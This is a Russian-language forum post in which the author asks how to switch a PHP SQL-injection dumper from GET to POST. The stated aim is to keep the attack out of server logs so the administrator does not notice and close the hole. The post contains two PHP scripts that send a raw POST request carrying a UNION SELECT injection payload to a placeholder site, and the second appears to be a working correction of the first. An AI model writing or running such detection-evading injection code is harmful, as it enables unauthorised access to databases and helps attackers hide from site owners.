Все доброе время суток. Как можно реализовать на php конвертацию GET'a в POST метод. Нужно это для дампера SQLinj, а то палится гет хорошо в логах и админ быстро закрывает бреш в системе. Если кто подскажет, буду благодарен.
PHP: <?php $fsoc = fsockopen("site.com", 80); $req = "POST /bag.asp HTTP/1.0\r\n"; $req .= "Connection: keep-alive\r\n"; $req .= "Content-Length: 45\r\n"; $req .= "Content-Type: text/html\r\n"; $req .= "Host: site.com\r\n"; $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n"; $req .= "\r\n"; $req .= "page=-11+union+select+1,2,3--\r\n"; fwrite($fsoc, $req ); while (!feof($fsoc)) echo fread($fsoc,102400); fclose($fsoc); ?> Данный код, работает не корректно. Выводит страницу с ошибкой, но результат инъекции не выводит, в чем ошибка?
PHP: <?php $host = 'site.com'; $url = fsockopen($host, 80); $data_p = "page=-11+union+select+1,2,3--"; $req = "POST /bag.asp HTTP/1.0\r\n"; $req .= "Host: site.com\r\n"; $req .= "User-Agent: Opera/9.24 (Windows NT 5.1; U; eng)\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Content-Length: ".strlen($data_p)."\r\n"; $req .= "Connection: Close\r\n\r\n"; $req .= $data_p; fputs($url, $req); while (!feof($url)) $s[] = fgets($url, 1028); fclose($url); print_r($s); ?>